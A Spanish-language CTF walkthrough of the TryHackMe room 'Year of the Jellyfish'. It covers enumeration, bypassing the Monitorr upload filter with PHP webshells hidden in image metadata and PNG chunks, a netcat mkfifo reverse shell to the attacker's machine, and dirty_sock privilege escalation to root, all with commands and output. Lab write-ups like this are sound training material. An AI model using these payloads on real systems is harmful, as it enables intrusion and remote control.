This page looks best with JavaScript enabled

TryHackMe - Year of the Jellyfish

 •  ✍️ sckull

Year of the Jellyfish es una maquina de TryHackMe, descubrimos dominios y subdominios con SSLSCAN lo que nos permitio encontrar una vulnerabilidad en Monitorr, se muestran dos formas para realizar bypass al filtro de ficheros lo que permitio obtener acceso. Finalmente ejecutamos Linpeas lo que nos guió una vulnerabilidad en snapd la cual explotamos para obtener acceso privilegiado.

Room

Titulo Year of the Jellyfish box_img_maker
Descripción Some boxes sting…
Puntos 110
Dificultad Dificil
Maker

MuirlandOracle

NMAP

Escaneo de puertos con nmap muestra el puerto ftp (21), ssh (22, 22222), http (80, 8000) y el puerto https (443) abiertos.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# Nmap 7.91 scan initiated Tue Apr 27 02:29:03 2021 as: nmap -sC -sV -p21,22,80,443,8000,22222 -oN allports 54.171.187.11
Nmap scan report for jelly.thm (54.171.187.11)
Host is up (0.44s latency).

PORT      STATE SERVICE  VERSION
21/tcp    open  ftp      vsftpd 3.0.3
22/tcp    open  ssh      OpenSSH 5.9p1 Debian 5ubuntu1.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|_  2048 46:b2:81:be:e0:bc:a7:86:39:39:82:5b:bf:e5:65:58 (RSA)
80/tcp    open  http     Apache httpd 2.4.29
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Did not follow redirect to https://robyns-petshop.thm/
443/tcp   open  ssl/http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Robyn's Pet Shop
| ssl-cert: Subject: commonName=robyns-petshop.thm/organizationName=Robyns Petshop/stateOrProvinceName=South West/countryName=GB
| Subject Alternative Name: DNS:robyns-petshop.thm, DNS:monitorr.robyns-petshop.thm, DNS:beta.robyns-petshop.thm, DNS:dev.robyns-petshop.thm
| Not valid before: 2021-04-27T06:04:33
|_Not valid after:  2022-04-27T06:04:33
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
8000/tcp  open  http-alt
| fingerprint-strings: 
|   GenericLines: 
|     HTTP/1.1 400 Bad Request
|     Content-Length: 15
|_    Request
22222/tcp open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 8d:99:92:52:8e:73:ed:91:01:d3:a7:a0:87:37:f0:4f (RSA)
|   256 5a:c0:cc:a1:a8:79:eb:fd:6f:cf:f8:78:0d:2f:5d:db (ECDSA)
|_  256 0a:ca:b8:39:4e:ca:e3:cf:86:5c:88:b9:2e:25:7a:1b (ED25519)
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.91%I=7%D=4/27%Time=6087AF3C%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,3F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Length:\x2
SF:015\r\n\r\n400\x20Bad\x20Request");
Service Info: Host: robyns-petshop.thm; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Apr 27 02:29:44 2021 -- 1 IP address (1 host up) scanned in 40.32 seconds

HTTP

Encontramos una pagina en el puerto 80 la cual redirige hacia un dominio.

1
2
3
4
5
HTTP/1.1 302 Found
Date: Tue, 27 Apr 2021 06:23:18 GMT
Server: Apache/2.4.29 (Ubuntu)
Location: https://robyns-petshop.thm/
Content-Type: text/html; charset=iso-8859-1

SSLSCAN

Nmap muestra un dominio y subdominios, utilizamos sslscan para verificar estos subdominios.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
╭─kali@kali ~/thm/jellyfish/tmp  
╰─➤  sslscan 54.171.187.11|tail -n 10
SSL Certificate:
Signature Algorithm: sha256WithRSAEncryption
RSA Key Strength:    2048

Subject:  robyns-petshop.thm
Altnames: DNS:robyns-petshop.thm, DNS:monitorr.robyns-petshop.thm, DNS:beta.robyns-petshop.thm, DNS:dev.robyns-petshop.thm
Issuer:   robyns-petshop.thm

Not valid before: Apr 27 06:04:33 2021 GMT
Not valid after:  Apr 27 06:04:33 2022 GMT

GOBUSTER

Utilizamos gobuster para busqueda de directorios y archivos en cada uno de los subdominios y dominio principal, tambien el puerto 8000.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
# gohttp https://robyns-petshop.thm -k
/assets               (Status: 301) [Size: 327] [--> https://robyns-petshop.thm/assets/]
/business             (Status: 401) [Size: 466]                                         
/config               (Status: 301) [Size: 327] [--> https://robyns-petshop.thm/config/]
/content              (Status: 301) [Size: 328] [--> https://robyns-petshop.thm/content/]
/index.php            (Status: 200) [Size: 3671]                                         
/index.php            (Status: 200) [Size: 3671]                                         
/LICENSE              (Status: 200) [Size: 1085]                                         
/plugins              (Status: 301) [Size: 328] [--> https://robyns-petshop.thm/plugins/]
/server-status        (Status: 403) [Size: 284]                                          
/themes               (Status: 301) [Size: 327] [--> https://robyns-petshop.thm/themes/] 
/vendor               (Status: 301) [Size: 327] [--> https://robyns-petshop.thm/vendor/]
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
# gohttp https://monitorr.robyns-petshop.thm -k
/assets               (Status: 301) [Size: 345] [--> https://monitorr.robyns-petshop.thm/assets/]
/changelog.html       (Status: 200) [Size: 4655]                                                 
/data                 (Status: 301) [Size: 343] [--> https://monitorr.robyns-petshop.thm/data/]  
/favicon.ico          (Status: 200) [Size: 41160]                                                
/index.php            (Status: 200) [Size: 14974]                                                
/index.php            (Status: 200) [Size: 14974]                                                
/LICENSE.txt          (Status: 200) [Size: 1086]                                                 
/robots.txt           (Status: 200) [Size: 87]                                                   
/robots.txt           (Status: 200) [Size: 87]                                                   
/server-status        (Status: 403) [Size: 293]                                                  
/settings.php         (Status: 200) [Size: 16335]
1
2
# curl -s https://beta.robyns-petshop.thm/ -k
<html lang=\"en\"><head><title>Under Development!</title><meta charset=\"utf-8\"><meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\"></head><body><h1>Under Construction</h1><h2>This site is under development. Please be patient.</h2><p>If you have been given a specific ID to use when accessing this development site, please put it at the end of the url (e.g. beta.robyns-petshop.thm/ID_HERE)</body></html>
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
# gohttp https://dev.robyns-petshop.thm -k
/assets               (Status: 301) [Size: 335] [--> https://dev.robyns-petshop.thm/assets/]
/business             (Status: 401) [Size: 470]                                             
/config               (Status: 301) [Size: 335] [--> https://dev.robyns-petshop.thm/config/]
/content              (Status: 301) [Size: 336] [--> https://dev.robyns-petshop.thm/content/]
/index.php            (Status: 200) [Size: 3703]                                             
/index.php            (Status: 200) [Size: 3703]                                             
/LICENSE              (Status: 200) [Size: 1085]                                             
/plugins              (Status: 301) [Size: 336] [--> https://dev.robyns-petshop.thm/plugins/]
/server-status        (Status: 403) [Size: 288]                                              
/themes               (Status: 301) [Size: 335] [--> https://dev.robyns-petshop.thm/themes/] 
/vendor               (Status: 301) [Size: 335] [--> https://dev.robyns-petshop.thm/vendor/]

SUBDOMINIOS

  • robyns-petshop.thm: encontramos lo que parece ser CMS pico.
  • monitorr.robyns-petshop.thm: vemos Monitorr en su version 1.7.6m, además en el dashboard vemos PetShop que redirige al puerto 80 en localhost y Jellyfin al puerto 8096.
  • beta.robyns-petshop.thm: al parecer es un sitio en “construccion”.
  • dev.robyns-petshop.thm: aparentemente es la misma pagina que está en el dominio principal.
  • PUERTO 8096: en este puerto encontramos el login de Jellyfin.

SEARCHSPLOIT

Realizamos una busqueda de exploits o vulnerabilidades para Pico, Monitorr y Jellyfin. Encontramos una vulnerabilidad de tipo LFI y RFI para Pico aunque ninguna de estas afecta a la version de la maquina. Para Monitorr encontramos dos exploits, uno para realizar bypass al CMS y crear una cuenta de administrador, el segundo para ejecucion de comandos mediante un archivo en PHP.

1
2
3
4
5
6
----------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                               |  Path
----------------------------------------------------------------------------- ---------------------------------
Monitorr 1.7.6m - Authorization Bypass                                       | php/webapps/48981.py
Monitorr 1.7.6m - Remote Code Execution (Unauthenticated)                    | php/webapps/48980.py
----------------------------------------------------------------------------- ---------------------------------

MONITORR - RCE

Monitorr es de codigo abierto por lo que descargamos la version 1.7.6m para analizar el codigo fuente. El primer exploit Monitorr 1.7.6m - Authorization Bypass crea una cuenta a por medio de _register.php aunque no existe tal archivo y/o direccion. En cuanto al RCE encontramos que la direccion existe.

1
2
3
╭─kali@kali ~/thm/jellyfish  
╰─➤  curl -s "https://monitorr.robyns-petshop.thm/assets/php/upload.php" -k
<div id='uploadreturn'>You are an exploit.</div><div id='uploaderror'>ERROR: ../data/usrimg/ already exists.</div><div id='uploaderror'>ERROR:  was not uploaded.</div></div>

Al realizar la ejecucion del exploit este nos muestra un error ya que la pagina es HTTPS, aunque al modificar el exploit y ejecutarlo, este no logra subir el archivo.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
╭─kali@kali ~/thm/jellyfish/tmp  
╰─➤  python 48980.py https://monitorr.robyns-petshop.thm 10.2.30.132 1338            
/usr/share/offsec-awae-wheels/urllib3-1.25.9-py2.py3-none-any.whl/urllib3/connectionpool.py:986: InsecureRequestWarning: Unverified HTTPS request is being made to host 'monitorr.robyns-petshop.thm'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
A shell script should be uploaded. Now we try to execute it
/usr/share/offsec-awae-wheels/urllib3-1.25.9-py2.py3-none-any.whl/urllib3/connectionpool.py:986: InsecureRequestWarning: Unverified HTTPS request is being made to host 'monitorr.robyns-petshop.thm'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings
╭─kali@kali ~/thm/jellyfish/tmp  
╰─➤  curl -s "https://monitorr.robyns-petshop.thm/assets/data/usrimg/" -k | html2text
****** Index of /assets/data/usrimg ******
[[ICO]]       Name             Last_modified    Size Description
===========================================================================
[[PARENTDIR]] Parent_Directory                    -  
[[IMG]]       usrimg.png       2021-04-11 00:07 5.3K  
===========================================================================
     Apache/2.4.29 (Ubuntu) Server at monitorr.robyns-petshop.thm Port 443

UPLOAD.PHP

El archivo upload.php es el que obtiene la imagen y mediante getimagesize() verifica si es una imagen y que tipo, si lo es, sube el archivo, en caso contrario no, por lo que de alguna forma debemos de realizar bypass al “filtro” realizando cambios a una imagen.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php

    $target_dir = "../data/usrimg/";
    $target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
    $uploadOk = 1;
    $imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
    $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]);
    $rawfile = $_FILES["fileToUpload"]["name"];


    echo "<div id='uploadreturn'>";

        if($check !== false) {
                echo "File " . $rawfile . " is an image: " . $check["mime"] ;
                    echo "<br>";
                $uploadOk = 1;
            } 
            
        else {
            echo "<div id='uploaderror'>";
                echo "ERROR: " . $rawfile .  " is not an image or exceeds the webserver’s upload size limit.";
            echo "</div>";
            $uploadOk = 0;
        }
    [... REDACTED ...]

BYPASS - WEB-SHELL UPLOAD

Creamos un archivo html para realizar la subida de archivos hacia upload.php, capturamos la solicitud en burpsuite para modificar los diferentes parametros de solicitud para realizar bypass utilizando Burpsuite.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
<!DOCTYPE html>
<html>
<body>
<form action="https://monitorr.robyns-petshop.thm/assets/php/upload.php" method="post" enctype="multipart/form-data">
  Select image to upload:
  <input type="file" name="fileToUpload" id="fileToUpload">
  <input type="submit" value="Upload Image" name="submit">
</form>

</body>
</html>

Al cambiar la extension de una imagen vemos un ERROR.

Nota:
Se muestran dos metodos ya que por alguna razon no funcionó dos veces el mismo “metodo” al iniciar diferentes instancias de la maquina.

COMMENT - 1

Agregamos codigo php para ejecucion de comandos en los metadatos de una imagen como en Networked - HTB pero no funcionó al intentar cambiar de extension manualmente, aunque la imagen .JPG si subió.

1
2
exiftool -Comment='<?php system($_GET["cmd"]); ?>' batman.jpg
cp batman.jpg batman.jpg.php

Creamos un wordlist a partir de las diferentes extensiones presentadas en HackTricks para usarlas en Intruder.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
# extensiones
.php2 
.php3 
.php4 
.php5 
.php6 
.php7 
.phps 
.phps 
.pht 
.phtm 
.phtml 
.pgif 
.shtml 
.htaccess 
.phar 
.inc
.pHp5
.Php5
.pHp5
.phpJunk123png
.pHp5
.php%00
.php\x00
.php%0a
.php%0d%0a
.php
.php%00.png%00.jpg
.pphphp
.php%00.gif
.pHp
.pHP5
.PhAr

Agregamos dos marcadores junto a la extension JPG, tambien desactivamos la opcion de codificacion de los payloads ya que el wordlist contiene caracteres para agregar null bytes.

Tras realizar el ataque logramos subir la misma imagen con diferentes extensiones.

Aunque solo dos de ellas (.pHp, .phar) funcionaron.

IDAT CHUNKS PNG - 2

Encontramos una pagina la cual genera una imagen insertando “codigo” dentro del IDAT CHUNKS de una imagen PNG, aunque solamente permite utilizar mayusculas y es muy limitado al generar nuestro payload, aunque es posible capturar la solicitud y cambiar el codigo en burpsuite. De igual forma existe una herramienta - XSS2PNG con la cual es posible crear imagenes con este mismo “metodo”.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
┌──(kali㉿kali)-[~/thm/jellyfish/tmp]
└─$ python3 xss2png.py -p "<?php echo system(\$_GET['cmd']); ?>" -o cmd.png
               ____                    
 __  _____ ___|___ \ _ __  _ __   __ _ 
 \ \/ / __/ __| __) | '_ \| '_ \ / _` |
  >  <\__ \__ \/ __/| |_) | | | | (_| |
 /_/\_\___/___/_____| .__/|_| |_|\__, |
                    |_|          |___/
 PNG IDAT chunks XSS payload generator

[i] Using payload: <?PHP ECHO SYSTEM($_GET['CMD']); ?>

[i] Generating final PNG output
[!] PNG output saved as: cmd.png

┌──(kali㉿kali)-[~/thm/jellyfish/tmp]
└─$ xxd cmd.png 
00000000: 8950 4e47 0d0a 1a0a 0000 000d 4948 4452  .PNG........IHDR
00000010: 0000 0020 0000 0020 0802 0000 00fc 18ed  ... ... ........
00000020: a300 0000 6e49 4441 5478 9c63 fc3c 3f50  ....nIDATx.c.<?P
00000030: 4850 2045 4348 4f20 5359 5354 454d 2824  HP ECHO SYSTEM($
00000040: 5f47 4554 5b27 434d 4427 5d29 3b20 3f3e  _GET['CMD']); ?>
00000050: 20e0 96c4 ad19 079f cbfd f876 f349 d023   ..........v.I.#
00000060: eeab 9f98 9e6b 7af1 3d39 cdf6 cbf2 dfd3  .....kz.=9......
00000070: 070e 8cfa 9cbe 3c2c 1cbe a919 8c0c a360  ......<,.......`
00000080: 148c 8251 300a 46c1 2818 05a3 6014 8c82  ...Q0.F.(...`...
00000090: a10b 00ee a01d 02f0 116e 5900 0000 0049  .........nY....I
000000a0: 454e 44ae 4260 82                        END.B`.                                     .

De la misma manera cambiamos la extension esta vez a phar, al ejecutar comandos utilizar el parametro en mayuscula (CMD).

1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~/thm/jellyfish/tmp]
└─$ curl -s "https://monitorr.robyns-petshop.thm/assets/data/usrimg/z.png.phar?CMD=id" -k -o /dev/shm/o && cat /dev/shm/o
PNG

IHDR nIDATxcuid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=33(www-data) gid=33(www-data) groups=33(www-data) vI#kz=9<,
                                                                `Q0
F(`

SHELL - WWW-DATA

Intentamos ejecutar diferentes shell inversas en diferentes lenguajes utilizando la webshell, pero nunca se ejecutó alguna, tambien intentamos utilizar ngrok ya que en la descripcion de la maquina mencionaba que la IP era publica “Be warned – this box deploys with a public IP…” aunque no funcionó.

DB & FLAG1

En el directorio /var/www/monitorr encontramos la base de datos de monitorr que contiene una contraseña la cual no logramos crackear, además encontramos nuestra primera flag: flag1.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# cmd=ls -lah ../../../
sqlite> .open datausers.db
sqlite> .tables
users
sqlite> .schema users
CREATE TABLE `users` (
                        `user_id` INTEGER PRIMARY KEY,
                        `user_name` varchar(64),
                        `user_password_hash` varchar(255),
                        `user_email` varchar(64));
sqlite> select * from users;
1|admin|$2y$10$q1BI3CSqToALH2Q1r2weLeRpyU7QbonizeVxJnPIieo/drbRSzVTa|
sqlite>

# cmd=ls -lah ../../../../; cat ../../../../flag1.txt
total 24K
drwxr-xr-x  5 root     root     4.0K Apr 11 23:11 .
drwxr-xr-x 14 root     root     4.0K Apr  9 23:45 ..
drwxr-xr-x  9 root     root     4.0K Apr 11 17:00 dev
-r--------  1 www-data www-data   38 Apr 11 23:11 flag1.txt
drwxr-xr-x  9 root     root     4.0K Apr 11 14:38 html
drwxr-xr-x  4 www-data www-data 4.0K Apr 11 14:24 monitorr
THM{YjljMDYyZWUxYmQwMTkxYjNlMDY4YmY5}

APACHE *.CONF

Tambien dentro de los archivos de configuracion de apache vemos una “contraseña” encriptada relacionada al subdominio dev.* y que segun parece pertenece a robyn aunque no logramos crackear esta.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
# cmd=ls -lah /etc/apache2/sites-av*; cat /etc/apache2/sites-av*/dev*;cat /etc/apache2/htpasswd
total 24K
drwxr-xr-x 2 root root 4.0K Apr 17 21:38 .
drwxr-xr-x 8 root root 4.0K Apr 11 14:43 ..
-rw-r--r-- 1 root root  670 Apr 17 21:38 000-default.conf
-rw-r--r-- 1 root root  451 Apr 17 21:38 beta.conf
-rw-r--r-- 1 root root  608 Apr 17 21:38 dev.conf
-rw-r--r-- 1 root root  457 Apr 17 21:38 monitorr.conf
<VirtualHost *:80>
  ServerName dev.robyns-petshop.thm
  Redirect / https://dev.robyns-petshop.thm/
</VirtualHost>
<VirtualHost *:443>
  ServerName dev.robyns-petshop.thm

  ServerAdmin webmaster@localhost
  DocumentRoot /var/www/dev

  <Directory "/var/www/dev/business">
    AuthType Basic
    AuthName "Business Credentials Please"
    AuthUserFile "/etc/apache2/htpasswd"
    Require valid-user
  </Directory>

  SSLCertificateFile /etc/ssl/certs/webserver.crt
  SSLCertificateKeyFile /etc/ssl/private/webserver.key


  ErrorLog ${APACHE_LOG_DIR}/error.log
  CustomLog ${APACHE_LOG_DIR}/access.log combined

</VirtualHost>
robyn:$apr1$tMFlj08b$5VCOhI2see0L0WRU8Mn.b.

LINPEAS

Realizamos una enumeracion utilizando linpeas.sh lo que permitio obtener informacion inportante:

  • Netcat está en la maquina aunque esta como netcat y no nc como la mayoria de comandos para shell inversa que utilizan netcat.
  • Vemos que existen sockets que son ejecutados por root en este caso snapd.
  • Existe reglas en iptables las cuales permiten “comunicacion” unicamente a los puertos 443,80 desde fuera-hacia-adentro y viceversa (INPUT-OUTPUT), por lo que podriamos utilizar uno de estos puertos para obtener una shell.
  • El puerto SSH es el 22222.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
[+] Useful software
/bin/netcat

[... REDACTED ...]

[+] HTTP sockets                              
[i] https://book.hacktricks.xyz/linux-unix/privilege-escalation#sockets
Socket /run/snapd.socket owned by root uses HTTP. Response to /index:
{"type":"sync","status-code":200,"status":"OK","result":["TBD"]}
Socket /run/snapd-snap.socket owned by root uses HTTP. Response to /index:
{"type":"error","status-code":401,"status":"Unauthorized","result":{"message":"access denied","kind":"login-required"}}

[... REDACTED ...]

[+] Iptables rules
*filter
:INPUT DROP [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT DROP [6:1044]
-A INPUT -i lo -j ACCEPT
-A INPUT -p tcp -m multiport --dports 21,80,443,22,22222,8000,8096 -j ACCEPT
-A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
-A OUTPUT -m state --state RELATED,ESTABLISHED -j ACCEPT
-A OUTPUT -o lo -j ACCEPT
-A OUTPUT -p tcp -m multiport --dports 443,445,80,25,53 -j ACCEPT
-A OUTPUT -p udp -m udp --dport 53 -j ACCEPT
-A OUTPUT -p icmp -j ACCEPT
COMMIT
*filter
:INPUT ACCEPT [0:0]
:FORWARD ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
COMMIT

[... REDACTED ...]

[+] Searching ssl/ssh files
Port 22222                                                        
ChallengeResponseAuthentication no                                                        
 --> /etc/hosts.allow file found, read the rules:                                                        
/etc/hosts.allow

[... REDACTED ...]

SHELL

Con la informacion anterior modificamos los comandos para shell inversa que utilizan nc a netcat y hacia el puerto 80, unicamente funcionó con Netcat OpenBsd.

1
2
3
4
5
6
# Netcat OpenBsd
# rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|netcat 10.2.30.132 80 >/tmp/f
# BURPSUITE
GET /assets/data/usrimg/idat.png.phar?cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|netcat 10.2.30.132 80 >/tmp/f HTTP/1.1
# BURPSUITE >> CTRL + U -> REV SHELL
GET /assets/data/usrimg/idat.png.phar?cmd=rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|netcat+10.2.30.132+80+>/tmp/f HTTP/1.1

… logramos obtener acceso a la maquina.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
╭─kali@kali ~/thm/jellyfish/tmp  
╰─➤  sudo rlwrap nc -lvvp 80
listening on [any] 80 ...
connect to [10.2.30.132] from 10.10.143.206 [10.10.143.206] 42558
/bin/sh: 0: can't access tty; job control turned off
which python3
/usr/bin/python3
python3 -c 'import pty;pty.spawn("/bin/bash");'
whoami;id;pwd
whoami;id;pwd
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/var/www/monitorr/assets/data/usrimg
www-data@petshop:/var/www/monitorr/assets/data/usrimg$

PRIVILEGE ESCALATION

Se mencionó en LINPEAS que se encontraron sockets (/run/snapd.socket, /run/snapd-snap.socket) que son “ejecutados” y dueño de root, por lo que investigamos sobre estos, encontramos exploits (1,2) que están relacionados a la vulnerabilidad dirty_sock de la API de snapd. Verificamos la version de snap y vemos que esta en el “rango” de versiones afectadas.

1
2
3
4
5
6
7
8
www-data@petshop:/$ snap version
snap version
snap    2.32.5+18.04
snapd   2.32.5+18.04
series  16
ubuntu  18.04
kernel  4.15.0-140-generic
www-data@petshop:/$

La maquina tiene acceso a internet por lo que descargamos el exploit de dirty_sockv2 para no crear una cuenta en ubuntu y que la explotacion sea sin depender de una cuenta (0xdf - Playing with Dirty Sock). Utilizando este exploit logramos obtener acceso root y la flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
www-data@petshop:/dev/shm$ python3 dirty_02.py

      ___  _ ____ ___ _   _     ____ ____ ____ _  _ 
      |  \ | |__/  |   \_/      [__  |  | |    |_/  
      |__/ | |  \  |    |   ___ ___] |__| |___ | \_ 
                       (version 2)

//=========[]==========================================\\
|| R&D     || initstring (@init_string)                ||
|| Source  || https://github.com/initstring/dirty_sock ||
|| Details || https://initblog.com/2019/dirty-sock     ||
\\=========[]==========================================//

[+] Slipped dirty sock on random socket file: /tmp/vlwffnkrbg;uid=0;
[+] Binding to socket file...
[+] Connecting to snapd API...
[+] Deleting trojan snap (and sleeping 5 seconds)...
[+] Installing the trojan snap (and sleeping 8 seconds)...
[+] Deleting trojan snap (and sleeping 5 seconds)...

********************
Success! You can now `su` to the following account and use sudo:
   username: dirty_sock
   password: dirty_sock
********************

www-data@petshop:/dev/shm$ su dirty_sock
Password: dirty_sock

To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

dirty_sock@petshop:/dev/shm$ whoami; id
dirty_sock
uid=1001(dirty_sock) gid=1001(dirty_sock) groups=1001(dirty_sock),27(sudo)
dirty_sock@petshop:/dev/shm$ cd /root
bash: cd: /root: Permission denied
dirty_sock@petshop:/dev/shm$ sudo su
Password:  dirty_sock

root@petshop:/dev/shm# cd /root
root@petshop:~# ls -lah
total 24K
drwx------  3 root root 4.0K Apr 29 08:52 .
drwxr-xr-x 23 root root 4.0K Apr  9 23:56 ..
lrwxrwxrwx  1 root root    9 Apr 10 23:09 .bash_history -> /dev/null
-rw-r--r--  1 root root 3.1K Apr  9  2018 .bashrc
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-r--------  1 root root   38 Apr 11 23:12 root.txt
drwxr-xr-x  3 root root 4.0K Apr 29 08:52 snap
root@petshop:~# cat root.txt
THM{ZWM5N2ViY2QxNjE4MjkxOWRiYWQ4NjUx}
root@petshop:~# 

ANEXO

SSH HONEYPOT

Mientrar realizabamos una enumeracion con la webshell encontramos que el puerto 22 es un honeypot.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
# cmd=ls -lah /opt/ssh-honeypot
total 76K
drwxr-xr-x 7 root root 4.0K Apr 11 02:07 .
drwxr-xr-x 4 root root 4.0K Apr 16 19:31 ..
drwxr-xr-x 8 root root 4.0K Apr 11 02:03 .git
-rw-r--r-- 1 root root   69 Apr 11 02:03 .gitignore
-rw-r--r-- 1 root root  190 Apr 11 02:03 CHANGELOG.md
-rw-r--r-- 1 root root  255 Apr 11 02:03 INSTALL.md
-rw-r--r-- 1 root root 1.1K Apr 11 02:03 LICENSE.md
-rw-r--r-- 1 root root  625 Apr 11 02:05 Makefile
-rw-r--r-- 1 root root  312 Apr 11 02:03 MakefileOSX
-rw-r--r-- 1 root root 2.1K Apr 11 02:03 README.md
-rw-r--r-- 1 root root   49 Apr 11 02:03 TODO.md
drwxr-xr-x 2 root root 4.0K Apr 11 02:05 bin
drwxr-xr-x 3 root root 4.0K Apr 11 02:03 docker
drwxr-xr-x 2 root root 4.0K Apr 11 02:03 scripts
drwxr-xr-x 2 root root 4.0K Apr 11 02:03 src
-rw-r--r-- 1 root root   95 Apr 11 02:06 ssh-honeypot.log
-rw------- 1 root root 1.7K Apr 11 02:05 ssh-honeypot.rsa
-rw-r--r-- 1 root root  394 Apr 11 02:05 ssh-honeypot.rsa.pub
-rw-r--r-- 1 root root  357 Apr 11 02:07 ssh-honeypot.service

# cmd=ps -ef | grep ssh-honeypot
nobody     915     1  0 04:24 ?        00:00:00 /opt/ssh-honeypot/bin/ssh-honeypot -p 22 -r /opt/ssh-honeypot/ssh-honeypot.rsa -u nobody -l /var/log/ssh-honeypot.log -f /var/run/ssh-honeypot.pid -d
nobody   19715   915  0 07:22 ?        00:00:00 /opt/ssh-honeypot/bin/ssh-honeypot -p 22 -r /opt/ssh-honeypot/ssh-honeypot.rsa -u nobody -l /var/log/ssh-honeypot.log -f /var/run/ssh-honeypot.pid -d
www-data 19717 18702  0 07:22 ?        00:00:00 sh -c ps -ef | grep ssh-honeypot
www-data 19719 19717  0 07:22 ?        00:00:00 grep ssh-honeypot

UPLOAD.PHP MODIFICADO

Encontramos tambien el archivo upload.php el cual fue modificado y no aceptaba archivos con extension .php, además debia enviarse la cookie isHuman=1 sin esto el archivo no era aceptado lo cual no tomamos en cuenta en el exploit y la extension de la imagen :(.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

    $allowedExts = ["jpg", "png", "gif", "jpeg", "bmp"];
    $target_dir = "../data/usrimg/";
    $target_file = $target_dir . basename($_FILES["fileToUpload"]["name"]);
    $uploadOk = 1;
    $imageFileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
    $check = getimagesize($_FILES["fileToUpload"]["tmp_name"]) && !strstr($_FILES["fileToUpload"]["name"], "php") && in_array(explode(".", $_FILES["fileToUpload"]["name"])[1], $allowedExts);
    $rawfile = $_FILES["fileToUpload"]["name"];


    echo "<div id='uploadreturn'>";
  
  if ($_COOKIE["isHuman"] != true){
    echo "You are an exploit.";
    echo "</div>";
    $uploadOk = 0;
  } else if($check !== false) {
                echo "File " . $rawfile . " is an image: " . $check["mime"] ;
                    echo "<br>";
                $uploadOk = 1;
            } 
            
        else {
            echo "<div id='uploaderror'>";
                echo "ERROR: " . $rawfile .  " is not an image or exceeds the webserver’s upload size limit.";
            echo "</div>";
            $uploadOk = 0;
        }

Aunque burpsuite si lo tomo en cuenta.

Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe